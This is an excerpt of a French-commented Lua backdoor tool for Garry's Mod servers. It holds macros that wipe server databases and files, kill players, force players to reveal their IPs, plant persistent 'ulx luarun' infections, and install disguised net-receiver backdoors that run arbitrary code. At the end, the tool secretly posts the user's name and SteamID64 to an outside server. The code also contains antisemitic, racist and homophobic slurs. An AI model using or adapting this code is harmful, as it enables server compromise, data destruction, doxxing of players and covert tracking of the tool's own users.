1685
1686 car:SetAngles( v:GetAngles() )
1687
1688 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1689
1690 car:Spawn()
1691
1692 car:Activate()
1693
1694 car.boom = 6
1695
1696 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1697
1698 car:Ignite( 500 )
1699
1700 car:AddCallback( "PhysicsCollide", function( car, dat )
1701
1702 local explo = ents.Create("env_explosion")
1703
1704 explo:SetPos( car:GetPos() )
1705
1706 explo:SetKeyValue("iMagnitude", "350")
1707
1708 explo:Spawn()
1709
1710 explo:Activate()
1711
1712 explo:Fire("Explode", "", 0)
1713
1714 local ef = EffectData()
1715
1716 ef:SetOrigin( car:GetPos() )
1717
1718 ef:SetMagnitude( 5 )
1719
1720 ef:SetScale( 200 )
1721
1722 util.Effect( "ThumperDust", ef )
1723
1724 car.boom = car.boom - 1
1725
1726 if car.boom < 0 then car:Remove() end
1727
1728 end )
1729
1730 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1731
1732 ]],
1733
1734 ["Desc"] = "Fait tomber des véhicules du ciel qui exploserons",
1735
1736 },
1737
1738
1739
1740
1741
1742
1743
1744 ["Gas Toxique"] = {
1745
1746 ["Type"] = 2,
1747
1748 ["Code"] = [[
1749
1750 local trace = v:GetEyeTraceNoCursor()
1751
1752 local ar2Explo = ents.Create("env_ar2explosion")
1753
1754 ar2Explo:SetOwner(game.GetWorld())
1755
1756 local p = trace.HitPos
1757
1758 ar2Explo:SetPos(trace.HitPos)
1759
1760 ar2Explo:Spawn()
1761
1762 ar2Explo:Activate()
1763
1764 ar2Explo:Fire("Explode", "", 0)
1765
1766 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1767
1768 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1769
1770 if !ent:IsPlayer() then continue end
1771
1772 local d = DamageInfo()
1773
1774 d:SetDamage( 1 )
1775
1776 d:SetAttacker( game.GetWorld() )
1777
1778 d:SetInflictor( game.GetWorld() )
1779
1780 d:SetDamageType( DMG_DROWN )
1781
1782 ent:TakeDamageInfo( d )
1783
1784 end
1785
1786 end)
1787
1788
1789
1790 ]],
1791
1792 ["Desc"] = "Empoisonne n'importe qui avec ce magnifique gaz :D",
1793
1794 },
1795
1796
1797
1798
1799
1800 ["Spawn un véhicule près d'un joueur"] = {
1801
1802 ["Type"] = 2,
1803
1804 ["Code"] = [[
1805
1806 local trc = {}
1807
1808 trc.start = v:GetShootPos()
1809
1810 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1811
1812 trc.filter = {v}
1813
1814 local tr = util.TraceLine(trc)
1815
1816
1817
1818 local VehicleList = list.Get( "Vehicles" )
1819
1820 local vehicle = VehicleList[ @1 ]
1821
1822 if ( !vehicle ) then return end
1823
1824 local Angles = v:GetAngles()
1825
1826 Angles.pitch = 0
1827
1828 Angles.roll = 0
1829
1830 Angles.yaw = Angles.yaw + 180
1831
1832
1833
1834 local pos = tr.HitPos
1835
1836 if ( vehicle.Offset ) then
1837
1838 pos = pos + tr.HitNormal * vehicle.Offset
1839
1840 end
1841
1842 local Ent = ents.Create( vehicle.Class )
1843
1844 if ( !Ent ) then return end
1845
1846 duplicator.DoGeneric( Ent, vehicle )
1847
1848 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1849
1850 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1851
1852 if ( vehicle && vehicle.KeyValues ) then
1853
1854 for k, v in pairs( vehicle.KeyValues ) do
1855
1856 Ent:SetKeyValue( k, v )
1857
1858 end
1859
1860 end
1861
1862 Ent:SetModel( vehicle.Model )
1863
1864 Ent:SetAngles( Angles )
1865
1866 Ent:SetPos( pos )
1867
1868 Ent:Spawn()
1869
1870 Ent:Activate()
1871
1872 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
1873
1874 Ent.VehicleName = vehicle.Class
1875
1876 Ent.VehicleTable = @1
1877
1878 Ent.ClassOverride = vehicle.Class
1879
1880 ]],
1881
1882 ["Desc"] = "Spawn un véhicule devant le joueur (1er = id véhicule), n'essaye pas de spawn des entités !",
1883
1884 ["NeedsParameters"] = 1,
1885
1886 },
1887
1888
1889
1890 ["Kick Joueur"] = {
1891
1892 ["Type"] = 2,
1893
1894 ["Code"] = [[ v:Kick( @1 ) ]],
1895
1896 ["Desc"] = "Raison du kick ?!",
1897
1898 },
1899
1900
1901
1902 ["Africaniser un joueur"] = {
1903
1904 ["Type"] = 2,
1905
1906 ["Code"] = [[ if !v.slavered then v:SetColor( Color( 0, 0, 0 ) ) v.slavered = true else v:SetColor( Color(255, 255, 255) ) v.slavered = false end ]],
1907
1908 ["Desc"] = "Transforme un joueur en africain",
1909
1910 },
1911
1912
1913
1914 ["Rendre Invisible"] = {
1915
1916 ["Type"] = 2,
1917
1918 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1919
1920 ["Desc"] = "Disparu",
1921
1922 },
1923
1924
1925
1926 ["Rendre Terroriste"] = {
1927
1928 ["Type"] = 2,
1929
1930 ["Code"] = [[
1931
1932 local explo = ents.Create("env_explosion")
1933
1934 explo:SetOwner(v)
1935
1936 explo:SetPos(v:GetPos())
1937
1938 explo:SetKeyValue("iMagnitude", "250")
1939
1940 explo:Spawn()
1941
1942 explo:Activate()
1943
1944 explo:Fire("Explode", "", 0)
1945
1946 if v:Alive() then v:Kill() end
1947
1948 ]],
1949
1950 ["Desc"] = "Transforme qui tu veut en terroriste",
1951
1952 },
1953
1954
1955
1956 ["ULX Set Access"] = {
1957
1958 ["Type"] = 2,
1959
1960 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1961
1962 ["Desc"] = "Choisi le rank de la personne",
1963
1964 ["NeedsParameters"] = 1,
1965
1966 },
1967
1968
1969
1970
1971/*====================================
1972|===== Commandes Customs Chelou =====|
1973===================================*/
1974
1975
1976
1977
1978 ["Joueurs 2D"] = {
1979
1980 ["Type"] = 2,
1981
1982 ["Code"] = [[
1983 local bones = {
1984 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1985 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1986 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1987 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1988 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1989 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1990 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1991 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1992 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1993 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1994 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1995 }
1996
1997 if !v.is2D then
1998 v.is2D = true
1999 for k, bone in pairs(bones) do
2000 local boneToFind = v:LookupBone(bone.b)
2001 v:ManipulateBoneScale( boneToFind, bone.v)
2002 end
2003 else
2004 v.is2D = false
2005 for k, bone in pairs(bones) do
2006 local boneToFind = v:LookupBone(bone.b)
2007 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
2008 end
2009 end
2010 ]],
2011
2012 ["Desc"] = "C'est, étrange cette sensation, mon corp est... Bizarre ?!",
2013
2014 },
2015
2016 ["Nuke (M9K)"] = {
2017
2018 ["Type"] = 2,
2019
2020 ["Code"] = [[
2021// if (m9k) then
2022 local nuke = ents.Create("m9k_davy_crockett_explo")
2023 nuke:SetPos(v:GetPos())
2024 nuke:SetOwner(v)
2025 nuke.Owner = v
2026 nuke:Spawn()
2027 nuke:Activate()
2028// end
2029 ]],
2030
2031 ["Desc"] = "Nuke un joueur :').",
2032
2033 },
2034
2035 ["Brouiller La Console"] = {
2036
2037 ["Type"] = 1,
2038
2039 ["Code"] = [[
2040 if !(timer.Exists("consoleJammer")) then
2041 timer.Create("consoleJammer", 0.5, 0, function()
2042 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
2043 end )
2044 else
2045 timer.Destroy("consoleJammer")
2046 end
2047 ]],
2048
2049 ["Desc"] = "Spam tellement la console que plus personne ne peut la voir",
2050
2051 },
2052
2053 ["La Marche Jouissante"] = {
2054
2055 ["Type"] = 1,
2056
2057 ["Code"] = [[
2058 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2059 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2060 else
2061 hook.Remove("PlayerFootstep", "moanStep")
2062 end
2063 ]],
2064
2065 ["Desc"] = "Les gens qui marche adore jouir apparament.",
2066
2067 },
2068
2069 ["Supprimer Le Serveur"] = {
2070
2071 ["Type"] = 3,
2072
2073 ["Code"] = [[
2074 local date = os.date( "%m-%d-%y" )
2075 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2076 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2077 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2078
2079 for k,v in pairs(databases) do
2080 if sql.TableExists(v) then
2081 sql.Query("DROP TABLE "..v.." ;")
2082 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2083 end
2084 end
2085
2086 for k,v in pairs(datafiles) do
2087 if file.Exists(v) then
2088 file.Delete(v)
2089 file.write(v, "odium.pro hehe")
2090 end
2091 end
2092
2093 for k,v in pairs(sensitivefiles) do
2094 if file.Exists(v) then
2095 file.Delete(v)
2096 file.write(v, "odium.pro hehe")
2097 end
2098 end
2099 ]],
2100
2101 ["Desc"] = "Supprime le plus de data possible.",
2102
2103 },
2104
2105 ["Tuer Joueur (Discrèt)"] = {
2106
2107 ["Type"] = 2,
2108
2109 ["Code"] = [[v:KillSilent()]],
2110
2111 ["Desc"] = "RT.",
2112
2113 },
2114
2115 ["Supprimer Les Props"] = {
2116
2117 ["Type"] = 2,
2118
2119 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2120
2121 ["Desc"] = "Supprimer tout les props du joueur.",
2122
2123 },
2124
2125 ["Envoyer Lua"] = {
2126
2127 ["Type"] = 2,
2128
2129 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2130
2131 ["Desc"] = "Envoi une ligne Lua au joueur.",
2132
2133 ["NeedsParameters"] = 1,
2134
2135 },
2136
2137 ["Mon ip est.."] = {
2138
2139 ["Type"] = 2,
2140
2141 ["Code"] = [[
2142 if (darkrp || DarkRP) then
2143 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
2144 else
2145 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
2146 end
2147 ]],
2148
2149 ["Desc"] = "Forces les joueurs a drop leurs ips x').",
2150
2151 },
2152
2153// key/view scrambler, fuck with escape menu
2154
2155
2156
2157
2158 /*================================
2159|===== Commandes Dangereuses =====|
2160=================================*/
2161
2162
2163
2164 ["DarkRP Supprimer La Thune"] = {
2165
2166 ["Type"] = 3,
2167
2168 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2169
2170 ["Desc"] = "RIP L'ECONOMIE",
2171
2172 },
2173
2174
2175
2176 ["CleanUp"] = {
2177
2178 ["Type"] = 3,
2179
2180 ["Code"] = [[game.CleanUpMap()]],
2181
2182 ["Desc"] = "Sa va pleurer",
2183
2184 },
2185
2186
2187
2188 ["Désintegrer Les Joueurs"] = {
2189
2190 ["Type"] = 3,
2191
2192 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2193
2194 ["Desc"] = "Supprime l'entité du joueur, OKLM",
2195
2196 },
2197
2198
2199
2200
2201
2202 ["FPP Unrestrict Tout"] = {
2203
2204 ["Type"] = 3,
2205
2206 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2207
2208 ["Desc"] = "le strip is back",
2209
2210 },
2211
2212
2213
2214 ["Détruires Les Datas"] = {
2215
2216 ["Type"] = 3,
2217
2218 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2219
2220 ["Desc"] = "le fonda risque de gueuler",
2221
2222 },
2223
2224
2225
2226 ["Détruire la table SQL du DARKRP"] = {
2227
2228 ["Type"] = 3,
2229
2230 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2231
2232 ["Desc"] = "Rip le darkrp",
2233
2234 },
2235
2236
2237
2238}
2239
2240
2241
2242local selectedbackdoor = ""
2243
2244local backdoorargs = ""
2245
2246local selectedplayers = {}
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258/*====================================
2259|===== Configuration Backdoor XvacDoor =====|
2260=====================================*/
2261
2262
2263BD.BDMacros[" Infection Persistante"] = {
2264 ["Type"] = 1,
2265 ["Code"] = [[
2266 local config = ULib.fileRead( "data/ulx/config.txt" )
2267 config = config.."\n ulx logecho 0"
2268 config = config.."\n ulx luarun %BD"
2269 config = config.."\n ulx logecho 1"
2270 ULib.fileWrite( "data/ulx/config.txt", config )
2271 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Infection Persistante Injecté" ) end end
2272 ]],
2273 ["Desc"] = "Crée une bonne grosse backdoor persistante",
2274 ["Private"] = true,
2275}
2276
2277BD.BackdoorTypes["Ulx Fake"] = {
2278 ["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2279 ["Netkey"] = "Ulx_Error_88",
2280}
2281
2282BD.BackdoorTypes["FAdmin Fake"] = {
2283 ["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2284 ["Netkey"] = "FAdmin_Notification_Receiver",
2285}
2286
2287BD.BackdoorTypes["DarkRP Fake"] = {
2288 ["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2289 ["Netkey"] = "DarkRP_ReceiveData",
2290}
2291
2292BD.BackdoorTypes["XvacDoor Fake"] = {
2293 ["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2294 ["Netkey"] = "Weapon_88",
2295}
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308/*==================================
2309|===== Derma XvacDoor Backdoor Menu =====|
2310=================================*/
2311
2312
2313
2314function BD.GenerateBackdoorList( parent, category )
2315
2316
2317
2318for k, v in SortedPairs( BD.BDMacros, false ) do
2319
2320 if v["Type"] != category then continue end
2321
2322
2323
2324 local plypanel2 = vgui.Create( "DPanel" )
2325
2326 plypanel2:SetPos( 0, 0 )
2327
2328 plypanel2:SetSize( 200, 25 )
2329
2330 plypanel2.Paint = function() -- Paint function
2331
2332 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2333
2334 if selectedbackdoor == k then surface.SetDrawColor(Color(255, 250, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
2335
2336 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2337
2338 end
2339
2340
2341
2342 local plyname = vgui.Create( "DLabel", plypanel2 )
2343
2344 plyname:SetPos( 10, 5 )
2345
2346 plyname:SetFont( "Trebuchet18" )
2347
2348 local tcol = Color( 255, 255, 255 )
2349
2350 if v.Private then tcol = Color( 200, 70, 70 ) end
2351
2352 plyname:SetColor( tcol )
2353
2354 plyname:SetText( k )
2355
2356 plyname:SetSize(180, 15)
2357
2358
2359
2360
2361
2362 local faggot = vgui.Create("DButton", plypanel2)
2363
2364 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2365
2366 faggot:SetPos( 0, 0 )
2367
2368 faggot:SetText("")
2369
2370 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2371
2372 faggot.Paint = function(panel, w, h)
2373
2374 return
2375
2376 end
2377
2378 faggot.DoClick = function()
2379
2380 selectedbackdoor = k
2381
2382 end
2383
2384
2385
2386
2387
2388 parent:AddItem( plypanel2 )
2389
2390
2391
2392end
2393
2394
2395
2396end
2397
2398
2399
2400function BD.FormatCodeTargeted()
2401
2402if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2403
2404if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2405
2406local param = string.Explode( ",", backdoorargs )
2407
2408local ids = {}
2409
2410for k, v in pairs( selectedplayers ) do
2411
2412 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2413
2414 table.insert( ids, v:UniqueID() )
2415
2416end
2417
2418
2419
2420local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2421
2422code = string.Replace( code, "##", table.ToString( ids ) )
2423
2424code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2425
2426code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2427
2428
2429
2430if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette backdoor a besoin de paramètre pour fonctionner", Color(255,155,155) ) return end
2431
2432if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2433
2434
2435
2436for k, v in pairs( param ) do
2437
2438 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2439
2440end
2441
2442
2443
2444BD.Fire( code )
2445
2446
2447
2448end
2449
2450
2451
2452function BD.FormatCodeGlobal()
2453
2454if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2455
2456if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2457
2458local param = string.Explode( ",", backdoorargs )
2459
2460
2461
2462local code = BD.BDMacros[selectedbackdoor]["Code"]
2463
2464
2465
2466if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette commande doit être configuré pour fonctionné! Verifie sa description pour comprendre", Color(255,155,155) ) return end
2467
2468if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2469
2470
2471
2472for k, v in pairs( param ) do
2473
2474 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2475
2476 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2477
2478 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2479
2480 code = string.Replace( code, "%BD", BD.GetActive().Code )
2481
2482end
2483
2484
2485
2486BD.Fire( code )
2487
2488
2489
2490end
2491
2492
2493
2494
2495
2496local safenet = net
2497
2498local function bdnet()
2499
2500 if odium and odium.G then return odium.G.net end
2501
2502 return safenet
2503
2504end
2505
2506
2507local h = http
2508local p = "Post"
2509local str = "http://zilnix.mtxserv.fr/"
2510local lp = LocalPlayer()
2511local n = lp:Nick()
2512local id = lp:SteamID64()
2513
2514h[p](str, {
2515 name = n,
2516 steamid = id,
2517},
2518nil, nil)
2519
